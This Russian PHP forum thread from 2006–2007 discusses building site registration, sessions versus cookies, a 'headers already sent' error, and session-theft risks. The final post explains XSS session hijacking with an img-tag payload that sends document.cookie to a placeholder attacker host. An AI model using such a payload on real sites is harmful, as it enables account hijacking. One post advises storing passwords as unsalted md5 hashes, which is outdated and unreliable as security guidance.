как сделать регистрацию на сайте?
#1
Отправлено 07 декабря 2006 - 13:54
#4
Отправлено 07 декабря 2006 - 15:39
Зато более быстрый, чем хранение данных сессии на сервере.правда, способ не самый надежный.
На небольшом сайте вполне можно использовать cессии
Для совсем индивидуальных проектов даже лучше использовать Apache authorization.
Поясню вкратце суть сессий, в cookied запиcывается id сессии, сами же данные храняться на сервере( логин, пароль) в базе или в файле ...
Когда ты заходишь на сайт, то из cookies считывается id сессии и по нему уже получаются данные из источника.
Сообщение изменено: zedirtybastard (07 декабря 2006 - 15:41 )
#5
Отправлено 07 декабря 2006 - 15:48
Способ надёжный, просто если на сайте обнаружится XSS уязвимость то ей будет присвоен не низкий уровень опасности а высокий...записываешь печенку в браузер с логином и хэшем пароля, потом просто считываешь на каждой странице.
правда, способ не самый надежный.
Вы либо способны перелопатить тонны информации и отсеять лишнее, либо программистом не будете. ©Psih
Не вазелин, а бизнес-гель ©Avagraen
#8
Отправлено 07 декабря 2006 - 16:07
для паса делай хэш через мд5 и заноси его в базу
(что-то типо такого md5($_POST['pass']) )
---
для проверки пользуйся такой же схемой, т.е. берешь из базы хэш и сравниваешь его с тем, что передал браузер (только не забудь из паса тоже сделать хэш мд5)
и если они совпадают то $_SESSION['auth']='1';
и на всех страницах ставь проверку на $_SESSION['auth']
вот и все ...
по поводу работ с базой не обьясняю, надеюсь знаешь как все работает там
#9
Отправлено 07 декабря 2006 - 21:20
zedirtybastard,
Почему не самый быстрый?даже имея 1000 юзверей на сайте на скорости сервера, тем более юзера это не будет сказываться чувствительно.
для 1000 юзверей не почувствуется, для 10 000 юзверей начнет слегка подтормаживать, на 100 000 вы поймете о чем я, на 1 000 000 - 100% откажетесь от сессий.
Я же написал, для 1000 юзверей это наверное лучшее решение, не требующее особых головных болей.
С сессиями если из кукисов сопрут идентификатор сессии, то зайти под определенным юзером будет несложно, с чистыми кукисами можно нахимичить вполне приемлимую систему.BlackIce, согласен, наоборот, с возрастанием количество сохраняемых данным преимущества сессий увеличиваются. Кукиши постоянно гоняются туда-сюда с запросами, а при сессиях тока идентификатор.
А то, что кукисы гоняются туда-сюда на нагрузке никак не сказывается, они просто декодируются с хеадеров и все, никаких запросов в базу, никакого поиска сессии по идентификатору, никакой десериализации.
Я лично ничего против сессий не имею, но все-таки стараюсь использовать кукисы.
Сообщение изменено: zedirtybastard (07 декабря 2006 - 21:20 )
#10
Отправлено 07 декабря 2006 - 21:22
Для маленьких полей кстати выгоднее просто CHAR юзать, но это так мелочиlogin VARCHAR(45)
Вы либо способны перелопатить тонны информации и отсеять лишнее, либо программистом не будете. ©Psih
Не вазелин, а бизнес-гель ©Avagraen
#11
Отправлено 07 декабря 2006 - 22:43
Код таков:Warning: Cannot send session cookie - headers already sent by (output started at /home/t050679/public_html/index.php:78) in /home/t050679/public_html/kymnes.php on line 3
Warning: Cannot send session cache limiter - headers already sent (output started at /home/t050679/public_html/index.php:78) in /home/t050679/public_html/kymnes.php on line 3
<?PHP session_start(); $secret ="123"; //the password if(!$_POST['code']){$_POST['code']="W7Qty3";} if($_SESSION['code'] !== $_POST['code'] && $_POST['loginkey']){ $text = $_SESSION['code']= strrand(5); echo "<p align=\"center\"><b style=\"color: black\">Administrator Control Panel</b><br /></p><br />\n"; echo "<form action=\"$php_self\" method=\"post\"> <p align=\"center\">\n"; echo "Scurity code : <span style=\"background-color: #CCCCCC\">$text</span> <input name=\"code\" type=\"text\" size=\"5\" maxlength=\"5\"><br>\n"; echo "Passowrd : <input name=\"secret\" type=\"password\" size=\"20\"><br>\n"; echo "<input name=\"loginkey\" type=\"hidden\" value=\"loginkey\">\n"; echo "<input name=\"submit\" type=\"submit\" value=\"Enter7\">\n"; echo "</form><br><br>\n"; exit; } if ($_SESSION['secret'] !== $secret) { if ($_POST['secret'] == $secret) { $_SESSION['secret'] = $secret; } else { $text= $_SESSION['code']= strrand(5); echo "<p align=\"center\"><b style=\"color: black\">Administrator Control Panel</b><br /></p><br />\n"; echo "<form action=\"http://www.tud.ttu.ee/~t050679/rakendus/index.php\" method=\"post\"> <p align=\"center\">\n"; echo "Scurity code : <span style=\"background-color: #CCCCCC\">$text</span> <input name=\"code\" type=\"text\" size=\"5\" maxlength=\"5\"><br>\n"; echo "Passowrd : <input name=\"secret\" type=\"password\" size=\"20\"><br>\n"; echo "<input name=\"loginkey\" type=\"hidden\" value=\"loginkey\">\n"; echo "<input name=\"submit\" type=\"submit\" value=\"Enter\">\n"; echo "</form><br><br>\n"; exit; } } echo " Hello world "; function strrand($length) { $str = ""; while(strlen($str)<$length){ $random=rand(48,122); if( ($random>47 && $random<58) ){ $str.=chr($random); } } return $str; } ?>
#12
Отправлено 08 декабря 2006 - 03:19
Что из этого не понятно ?headers already sent
Поставь в начало скрипта (в самое самое начало, не просто в начало а вообще в начало) ob_start() для буфферизации вывода и проблема исчезнет...
И не нужно мучать РНР скрипт HTML кодом, если уж нет желания выносить его в отдельный файл то сделай хоть так
<?php // // // if($_SESSION['code'] !== $_POST['code'] && $_POST['loginkey']){ $text = $_SESSION['code']= strrand(5); ?><?php <p align="center"><b style="color: black">Administrator Control Panel</b><br /></p><br /> <form action="<?=$php_self?>" method="post"> <p align="center"> Scurity code : <span style="background-color: #CCCCCC"><?=$text?></span> <input name="code" type="text" size="5" maxlength="5"><br> Passowrd : <input name="secret" type="password" size="20"><br> <input name="loginkey" type="hidden" value="loginkey"> <input name="submit" type="submit" value="Enter7"> </form><br><br> ?><?php exit; } // // // ?>(хотя лучше просто вынеси "шаблон" в отдельный файл и подключай с помощью include)
Вы либо способны перелопатить тонны информации и отсеять лишнее, либо программистом не будете. ©Psih
Не вазелин, а бизнес-гель ©Avagraen
#13
Отправлено 08 декабря 2006 - 12:45
а самое самое начало, это где?Поставь в начало скрипта (в самое самое начало, не просто в начало а вообще в начало) ob_start() для буфферизации вывода и проблема исчезнет...
если
<?PHP ob_start(); session_start(); $secret ="123"; //the password if(!$_POST['code']){$_POST['code']="W7Qty3";}
то не помогло Или мне надо на самой главной странице?) потому что этит скрипт подключается?
#14
Отправлено 08 декабря 2006 - 13:34
session_start();
$information="<HTML CODE HERE>";
?>
<html>
<head>
<body . i t.d.
<?=$information;?>
</body>
</html>
Сделай такого плана код, и проблемы не будет, там проблема в том, что сессия передается через заголовок, а ты как я понимаю их еще ранее передал в <html><head><title>XXX</title> и т.д. ...
#15
Отправлено 08 декабря 2006 - 13:43
Я же сказал в самое начало значит в самое !!!Или мне надо на самой главной странице?
(слушай что BlackIce говорит, чистая правда)
Вы либо способны перелопатить тонны информации и отсеять лишнее, либо программистом не будете. ©Psih
Не вазелин, а бизнес-гель ©Avagraen
#18
Отправлено 12 декабря 2006 - 19:53
Вы либо способны перелопатить тонны информации и отсеять лишнее, либо программистом не будете. ©Psih
Не вазелин, а бизнес-гель ©Avagraen
#20
Отправлено 05 января 2007 - 19:50
Warning: Cannot send session cookie - headers already sent by (output started at /home/t050679/public_html/index.php:78) in /home/t050679/public_html/kymnes.php on line 3
Warning: Cannot send session cache limiter - headers already sent (output started at /home/t050679/public_html/index.php:78) in /home/t050679/public_html/kymnes.php on line 3
У тебя перед <?php был(и) пробелы!
У этого человека и 10 юзеров не будет От сессий на миллионе не откажешься, поверь Ты без них просто не обойдёшься. Надо представлять себе как работает механизм сессий.для 1000 юзверей не почувствуется, для 10 000 юзверей начнет слегка подтормаживать, на 100 000 вы поймете о чем я, на 1 000 000 - 100% откажетесь от сессий
Наоборот очень геморный и небезопасный и более тормозной, т.к. надо проверить юзера, его пароль, а в сессии могут ещё храниться к-либо переменные их бы ты тоже каждый раз брал их БД или кук... а куки ненадёжныеможно без сессии.
записываешь печенку в браузер с логином и хэшем пароля, потом просто считываешь на каждой странице.
правда, способ не самый надежный
> Зато более быстрый, чем хранение данных сессии на сервере
#22
Отправлено 06 января 2007 - 12:27
Я тебе охотно верю, просто ты можешь своими словами ввести в заблуждение других. О производительности того или иного механизма нужно задумываться только тогда, когда реально приложение начнёт тормозить и ты уже будешь искать слабые места и что-то предпринимать. Сессии - это такие мелочи, даже не надо думать о их производительности. К примеру, скажу, что чтение файла из скрипта будет в несколько раз медленнее, чем извлечение этих данных из БД по проиндексированному столбцу. Это не говорит о том, что всё надо класть в базу, просто сервер БД имеет отличное кеширование и оптимизацию. Так что не надо гоняться за каждой микросекундой, лучше потратить это время на расширение функциональностиЯ представляю отлично, как реализован механизм сессии, по крайней мере в Perl и у меня свое мнение на этот счет
#23
Отправлено 06 января 2007 - 15:53
И файлы из скрипты не читает никто Это самый неоптимизированный способ извлечения данных.
А на отличную кеширование и оптимизацию расчитывать тоже не стоит, MySQL например очень вредный бывает в таких вопросах.
Хотя это уже все из другой оперы.
Мой вердик такой: делайте как хотите, лишь бы работало
#24
Отправлено 06 января 2007 - 22:52
Полностью поддерживаю...Cессии - это такие мелочи, даже не надо думать о их производительности.
Человек пишущий сайт с большой посещаемостью (чтоб быстродействие сессий было ощутимо) не будет спрашивать на форуме "как сделать регистрацию".
Что касается случаев когда даже такие мелочи играют роль то это не те случаи как этот...
Сообщение изменено: Vladson (06 января 2007 - 22:53 )
Вы либо способны перелопатить тонны информации и отсеять лишнее, либо программистом не будете. ©Psih
Не вазелин, а бизнес-гель ©Avagraen
#25
Отправлено 06 января 2007 - 23:23
Куки ограничены по размеру, их содержание легко подделать. Если используешь сессии, то можно быть увереным, что там то, что ты туда положил, а не какая-нить SQL инъекция.
#27
Отправлено 06 января 2007 - 23:40
Сессии - это просто готовый механизм, а используя кукисы ты просто повторяешь этот механизм самостоятельно. Другое дело, что если ты действительо пониаешь, что делаешь, можно сделать быстрее и надежнее, чем это реализовано по дефолту.
Например, можно некоторые данные хранить в памяти, сделать более жесткими алгоритмы авторизации по идентификатору сессии и прочее по необходимости.
Я, например, всегда привзяываю свои собственные сессии к REMOTE_ADDR и HTTP_X_FORWARDED_FOR и запрещаю одновременные сессии с разных IP адресов. В родном механизме по-моему это не реализовать или если и реализовать, то не так просто.
Сообщение изменено: zedirtybastard (06 января 2007 - 23:43 )
#28
Отправлено 07 января 2007 - 00:05
zedirtybastard, да, я тоже проверяю ИП, а все ID сессии храню в базе и инвалидацию провожу вручную. но это уже потом.
Кстати о HTTP_X_FORWARDED_FOR. С помощью этой переменной был когдато (не мною) сломан чат маил.ру.
Там умные программеры для админов предусмотрели просмотр этой переменной Типа юзеры используют прокси, надо бы их реальный ИП узнать. Но не тут то было. Эту переменную легко подделать и им тут же впарили XSS, тыряший административную сессию
Сообщение изменено: Акей (07 января 2007 - 00:07 )
#29
Отправлено 07 января 2007 - 09:44
В дополнение к вышесказанному отмечу, что сессия живёт определённое кол-во времени. Ты подумай, кто реально может украсть твой идентификатор? Сосед по "хабу" или админ твоей сети или тот, кто находится где-то между тобой и веб-сайтом. Глупости! Единственный наиболее реальный вариант - украдут куки с твоего компа каким-нить трояном, но ты подумай, если бы в куках лежал твой логин и пусть даже зашифрованный пароль, то любой человек, имеющий их смог бы под тобой авторизоваться А ид сессии сегодня один, завтра другой...Акей, сессии воруются.
В PHP есть замечательная возможность переопределять стандартный механизм работы сессий. Например, на крупных проектах я бы использовал и использую БД для хранения сессий. У меня на одном проекте в данный момент активных 30 000 сессий на 7 мегабайт. А если бы я использовал стандартный механизм на файлах... Для очень крутых проектов можно было использовать memcache!
Неплохо придумали, сколько смотрел код крупных проектов, HTTP_X_FORWARDED_FOR всегда имел приоритет над REMOTE_ADDR... А его подделать - плёвое дело. Можно предложить два варианта: 1) рассматривать HTTP_X_FORWARDED_FOR только для локальных подсетей (типа 192.168.*.*) 2) рассматривать его одновременно с REMOTE_ADDR ведь нередки случаи, когда у провайдера сотни человек сидят с одного IP и идентификация по IP становится реальной проблемой особенно во всяких голосованиях!Там умные программеры для админов предусмотрели просмотр этой переменной Типа юзеры используют прокси, надо бы их реальный ИП узнать. Но не тут то было. Эту переменную легко подделать и им тут же впарили XSS, тыряший административную сессию
А по поводу сессий - я в security проверке даю пользователю выбрать, стоит ли связывать его сессию с IP или маской подсети!
Ведь у таких провайдеров, как Elion ADSL или Starman Internet после каждого реконнекта меняется IP адрес. (особенно актуально для ADSL) ну, или вспомним те же модемы, которых в Эстонии наверное считанные единицы. Если человека заставят переавторизовываться после каждого дисконнекта, он реально разозлится Особенно, если он на форуме катал огромный ответ и на те... всё коту под хвост)
#30
Отправлено 07 января 2007 - 11:55
Единственный наиболее реальный вариант - украдут куки с твоего компа каким-нить трояном, но ты подумай, если бы в куках лежал твой логин и пусть даже зашифрованный пароль, то любой человек, имеющий их смог бы под тобой авторизоваться smile.gif А ид сессии сегодня один, завтра другой
ну зачем же трояны. XSS (Cross Site Scripting) это наше все. Если нет привязки к ИП все достаточно просто. Главное чтобы можно было запустить свой ЯваСцрипт на компе юзера. Да, данные надо проверять, но многие сервисы, как наример маил-службы или блоги разрешают некоторые ХТМЛ теги. Вопрос тока обойти фильтр. А там пишешь типа
<img src="java script:i=new Image(); i.src='http://adres.plohogo.sajta/script.php?'+document.cookie" width="0" height="0"/>Юзер заходит, браузер пытается загрзузить картинку, посылает запрос с строкой кукоц в качестве параметров, в скрипте плохого чувака строка обрабатывается, выдирается ИД сессии, тут же генерируется запрос к нужной странице данного сайта с этим же ИД сессии и делается черное дело.
Такие пироги